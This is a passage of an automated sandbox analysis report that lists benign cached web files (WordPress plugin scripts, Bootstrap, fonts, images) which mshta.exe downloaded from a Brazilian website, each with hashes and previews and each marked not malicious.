SHA-512:	24BF9B3B18299B678273D028F81BB9B5816E2EB98402D6CD9ADAAEA755C56F6D1FC2E49B2F86248DFAE341E7127458DC0BD2F62C41DC020E16D251FD3E0262A2
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Preview:	( function( $ ) {...'use strict';...if ( typeof wpcf7 === 'undefined' \|\| wpcf7 === null ) {...return;..}...wpcf7 = $.extend( {...cached: 0,...inputs: []..}, wpcf7 );...$( function() {...wpcf7.supportHtml5 = ( function() {....var features = {};....var input = document.createElement( 'input' );.....features.placeholder = 'placeholder' in input;.....var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];.....$.each( inputTypes, function( index, value ) {.....input.setAttribute( 'type', value );.....features[ value ] = input.type !== 'text';....} );.....return features;...} )();....$( 'div.wpcf7 > form' ).each( function() {....var $form = $( this );....wpcf7.initForm( $form );.....if ( wpcf7.cached ) {.....wpcf7.refill( $form );....}...} );..} );...wpcf7.getId = function( form ) {...return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );..};...wpcf7.initForm = function( form ) {...var $form = $( form );....$form.submit( function( event ) {....if ( typeof window.FormD

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\styles[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1743
Entropy (8bit):	5.077735166460529
Encrypted:	false
SSDEEP:	24:XVrYR0dTwSJ3zdUB4y45bkR/y/CXqprQW0Lp4FqjNrrKsTwRX5xIWJoDxVPToVpB:XVrAMLeR6/WqprQWEpfNrnwx5NYVLo/B
MD5:	EC96E53E57B5D34F762D567CDB29A312
SHA1:	33D59800F24B9967590354A7B47B37000DC5A5CC
SHA-256:	A559BA07F12AEDA335CA811BB96B6F57B555815A835FE5F86AD6E7F166190E6D
SHA-512:	026480FEB9493F463E9C7EC8E6FCB4F4F7706E71DC4F90EE0E74C30BD5C930535C3D329A20AB241E54E5FCF9A510F43081149449F4983DBC274BD155AE1A2F78
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Preview:	div.wpcf7 {..margin: 0;..padding: 0;.}..div.wpcf7 .screen-reader-response {..position: absolute;..overflow: hidden;..clip: rect(1px, 1px, 1px, 1px);..height: 1px;..width: 1px;..margin: 0;..padding: 0;..border: 0;.}..div.wpcf7-response-output {..margin: 2em 0.5em 1em;..padding: 0.2em 1em;..border: 2px solid #ff0000;.}..div.wpcf7-mail-sent-ok {..border: 2px solid #398f14;.}..div.wpcf7-mail-sent-ng,.div.wpcf7-aborted {..border: 2px solid #ff0000;.}..div.wpcf7-spam-blocked {..border: 2px solid #ffa500;.}..div.wpcf7-validation-errors,.div.wpcf7-acceptance-missing {..border: 2px solid #f7e700;.}...wpcf7-form-control-wrap {..position: relative;.}..span.wpcf7-not-valid-tip {..color: #f00;..font-size: 1em;..font-weight: normal;..display: block;.}...use-floating-validation-tip span.wpcf7-not-valid-tip {..position: absolute;..top: 20%;..left: 20%;..z-index: 100;..border: 1px solid #ff0000;..background: #fff;..padding: .2em .8em;.}..span.wpcf7-list-item {..display: inline-block;..margin: 0 0 0 1em

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\warning[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\warning[2]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\wp-emoji-release.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	11943
Entropy (8bit):	5.096253847639827
Encrypted:	false
SSDEEP:	192:WuKiKqdccoXJW+TJr3J//bEvAbWXXR6AooHyrOUVsbEJEoesM0m3dJXWP/2//:0qlkJW+TJr3J//bEI+XgA5UCOeffJmW3
MD5:	FE0575B66568074463F12485D90F6D4C
SHA1:	AEEDD9AB3B7874E63F647042963CB1301A38B391
SHA-256:	647A6B36F3FD1F21BAE171270111096B4613C23A47E6621628A51BAE9C82B0B7
SHA-512:	0D209CBC9550CFCF49CA7CA5A1243E1578C0A42F9FB28C1FA8D353CEA26F24EED282547F47FE858126E1BA9A4AA4D8DDBD2CBDEF9DB5A45F24CFBFD6383BFF9E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Preview:	// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t--;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c\|\|"ownerSV

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\arrow_down[1].png

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 5 x 3, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	208
Entropy (8bit):	5.9194278840524825
Encrypted:	false
SSDEEP:	3:yionv//thPlgolljvrtxBlly43gqwkBDjW3PsFmzRgK3MkOl0tDlWyxtl22Wf4Fm:6v/lhP+4ZQynDi3U6GCMkdVx22W7dp
MD5:	20A650477130C7C2C62C5647131F545B
SHA1:	4615101FCC5DF1FAB3E7DD516D058E1052A8FCB2
SHA-256:	068F35DD132804C7EFFCBCA65F9398D34351339ED2FA7B20EF5E9A6221E76516
SHA-512:	9B5F312C3CE5E504DE7B2B1EE4BDF21F8A27E04329B2793E12F685D70E53D02CBB5E3094F83950573E814303900B77F099331DD4106FB534773D6D60736CA003
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
Preview:	.PNG........IHDR.............[6......sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.01/09/10......(IDAT..]....0..@....G..HUy........`.FM[......[..g....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\bootstrap.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	28756
Entropy (8bit):	5.071148466705677
Encrypted:	false
SSDEEP:	768:EAkESlcDWdfi5SSjb60vPxMhdo2YSHZ/ZQesapu7odL:Y8ZMSmZ7z
MD5:	BE1C5898C4332C8E7F9906011E005BB0
SHA1:	9567F7B3FD78160203C5795D397128390381D8A3
SHA-256:	7C1D540B7034E4790ECE82622854C1FBF34F0D4297F3167D914FB09DDAE6CB4C
SHA-512:	0799162F87D2A6AC7932CECBE041FB3284EE64663C17BBADFE439E750E768D4EF4AA9A73BCC1353512AE0ADA813698DD8DD8372A753946F318BB265CAB2C2DAA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Preview:	/*. Bootstrap.js by @fat & @mdo.* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js.* Copyright 2012 Twitter, Inc..* http://www.apache.org/licenses/LICENSE-2.0.txt.*/.!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$element.find(".modal-body").load(this.options.remote)};b.pr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\bootstrap[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	107397
Entropy (8bit):	5.243343101333427
Encrypted:	false
SSDEEP:	768:+coRowFmqeuii6OZLzAX+cSXgx7fLLgkhB5aErf:JoZ5vLPXgx7ngkjd
MD5:	FE45C97743C9CAEC6809D9F740D52D3E
SHA1:	CB69497E1935DE69862E92400478B75CD13E23BD
SHA-256:	55225FFA7E115D65C7E0F7A602A59CF5EE1D2F3C873F88381375A550B1B6B548
SHA-512:	9D36A695AD9DF51C63E820184DBD320D4B05700598F7CAC344C182F3D340FF20027C877BFA6F0FAE6EF717F236A6B5E4BF22286787B337D0F0B47F2BDD79693B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Preview:	article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }.audio, canvas, video {..display:inline-block;..display:inline;..zoom:1;.}.audio:not([controls]) { display:none; }.html {..font-size:100%;..-webkit-text-size-adjust:100%;..-ms-text-size-adjust:100%;.}.a:focus {..outline:thin dotted #333;..outline:5px auto -webkit-focus-ring-color;..outline-offset:-2px;.}.a:hover, a:active { outline:0; }.sub, sup {..position:relative;..font-size:75%;..line-height:0;..vertical-align:baseline;.}.sup { top:-0.5em; }.sub { bottom:-0.25em; }.img {..max-width:100%;..width:auto \9;..height:auto;..vertical-align:middle;..border:0;..-ms-interpolation-mode:bicubic;.}.#map_canvas img, .google-maps img { max-width:none; }.button, input, select, textarea {..margin:0;..font-size:100%;..vertical-align:middle;.}.button, input {..*overflow:visible;..line-height:normal;.}.button::-moz-focus-inner, input::-moz-focus-inner {..padding:0;..border:0;.}.button, html input[type

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\cherry-plugin[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1789
Entropy (8bit):	5.215043597951395
Encrypted:	false
SSDEEP:	48:kMcpLsRsdpOIi0hwrtpsDrzdVv6I8ixCYk4f440T8BuP9n:e/+0AOrzdVvQqXwNp9n
MD5:	E7694C9876A74D8AF4840B08D8CC4364
SHA1:	3A301C6DFB6B691B0453CEB4A1065BD7C2A5BD8A
SHA-256:	9E806234DF297746D665A8E76B129BF708E4470D7A50FEF5905D306176BEA1C1
SHA-512:	12F2867F5D91CCD42F3893884BB5BDD1F25AE7024B7CEED9CBF108498EFA374B186C38209A6A0468A88D8A12C1F758E25FE5A081B76588A0BAED4B3A26EDEF51
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Preview:	jQuery(document).ready(function(){..// OWL Carousel init...cherryPluginCarouselInit();...// Full-width block with left-right paddings...jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');..jQuery(window).resize( function(){...contenBoxResizeFunction();..});...contenBoxResizeFunction();..function contenBoxResizeFunction(){...var width_of_viewport = jQuery(window).width(),....half_width_of_viewport = width_of_viewport / 2,....width_of_container = jQuery('.content-holder > .container').width();....jQuery('.content_box.full-width').width(width_of_container);...jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});...jQuery('.full-block-wrap').width(width_of_container);..}.});..function cherryPluginCarouselInit() {..jQuery('div[id^="owl-carousel-"]').each(function(){...var carousel = jQuery(this),....auto_play = parseInt(carousel.attr('

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\css[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	5.082226381168297
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
MD5:	2BC56AB743AAE5AAC9AAC55D0850AAC5
SHA1:	BFB989317C6BAAE1BAD28B90D9535B19BE847827
SHA-256:	5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
SHA-512:	FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato&subset=latin
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\device.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2778
Entropy (8bit):	4.92970371310333
Encrypted:	false
SSDEEP:	48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
MD5:	CCD1C11A6BA5DF0CBFC470B04A3739F4
SHA1:	A8864D81DE7689672EF8F916E430AAABF563C22D
SHA-256:	A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
SHA-512:	31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Preview:	/! device.js 0.1.58 /.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\error[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\error[2]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\font-awesome[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	27231
Entropy (8bit):	4.969538355156986
Encrypted:	false
SSDEEP:	384:V4CBhTJwxFGFepFFVofu2NF2advHrGlmBpa/pe:zBEFGFepFvoGOkadvHz3Ke
MD5:	2D53B06F292DCB355B5E1A39EC065054
SHA1:	57CA25A18CBDEDF36973B712BC81F9E3F883A371
SHA-256:	22A22E76F4DE930E54DD33AF00C71B68828847409E5E79787DF5224DD9776C6F
SHA-512:	83C4394957069679994F7C04B1643AF895733E3469B539F9D202934FA5F808D31CB42EDF92029F23E849DEDD45EC50BB90D0009C3FA4450E8E50AB9C832313DA
Malicious:	false
IE Cache URL:	http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Preview:	/!. Font Awesome 3.2.1. * the iconic font designed for Bootstrap. * ------------------------------------------------------------------------------. * The full suite of pictographic icons, examples, and documentation can be. * found at http://fontawesome.io. Stay up to date on Twitter at. * http://twitter.com/fontawesome.. . License. * ------------------------------------------------------------------------------. * - The Font Awesome font is licensed under SIL OFL 1.1 -. * http://scripts.sil.org/OFL. * - Font Awesome CSS, LESS, and SASS files are licensed under MIT License -. * http://opensource.org/licenses/mit-license.html. * - Font Awesome documentation licensed under CC BY 3.0 -. * http://creativecommons.org/licenses/by/3.0/. * - Attribution is no longer required in Font Awesome 3.0, but much appreciated:. * "Font Awesome by Dave Gandy - http://fontawesome.io". . Author - Dave Gandy. * -------------------------------------------------------------

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\jquery.elastislide[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	6240
Entropy (8bit):	5.090536443525485
Encrypted:	false
SSDEEP:	96:zFWtrmc8bxAo69U8Rb93DCb/f+jrJ6Xj/vBQ61:LW3xgYMn/
MD5:	EAC02BD7783EDAB0F1A0DBEBB32AA8A7
SHA1:	D8D25DFF1DA53BE5A8D200D0BA59944C1FA7281D
SHA-256:	DADD36769DECA1A3720B875DE9624093AE6623DAEBFC5A13061E129C61DFEA24
SHA-512:	D1DD6D2F1CDB7EEEAA3396578038448A2337AB0EFACF884E624D459F1E9870A709C9A18D576327C62DEABB8363C643ED302E3CA4FAC3EAD2C7C82713E58F663B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1
Preview:	(function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),.0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislide.prototype={_init:function

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\jquery.flexslider-min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	21638
Entropy (8bit):	5.19976778726859
Encrypted:	false
SSDEEP:	384:6zEjb38fdvqEqHLOB7/Y1zicwyWda6lo7iMrpLtwSO2BAw1EFO:6838fdvqEqCBk1zzWda6loeMdLt9O5bA
MD5:	9EC3C315B67F434AABC4DA58EABC6C3A
SHA1:	51B3A7D882F438D53DC69CA5289E92254160C09A
SHA-256:	0C853C2CC205BAFE5D893017B6A03A2ACF0F04A11B85F80605514CF0AE540FE6
SHA-512:	75317411016A28DFF4E7A1D68F7B604B7B08E0BE90038C3039493123FE2A89EBBFC084E1E15C029CBADCB64EFAD2A122307957D8BA51E17EF42FFF35A8A3922C
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2
Preview:	/. jQuery FlexSlider v2.2.2. * Copyright 2012 WooThemes. * Contributing Author: Tyler Smith. */.!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window\|\|f\|\|window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide\|\|d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.count=d.slides.length,d.syncExists=a(d.vars.sync).lengt

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\jquery.jplayer.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	54355
Entropy (8bit):	5.24962012461709
Encrypted:	false
SSDEEP:	1536:7csOF0XSMqEk3nRw9o5cfQPfu5+6Vo5aUuyEwVUEn6:7f4dfPfu51W53EWR6
MD5:	8FBB3319230D3C08397B7BDA5BCB1DC2
SHA1:	E7C9CBBFA4EC48771C03878949AD0A4128BABF62
SHA-256:	493DB6D1EC51719B44E204D0594B5BCBDC81CE173A64D3E90513A468CECBD383
SHA-512:	0BEA93F519BD1D9C10D41A8345807CBCE0D5C8C0FCF98D4B325EA00587474E05138C279469AECB0A3D0054A2941E380E6EC5839D7A6230697CD23F6DFC0718D0
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
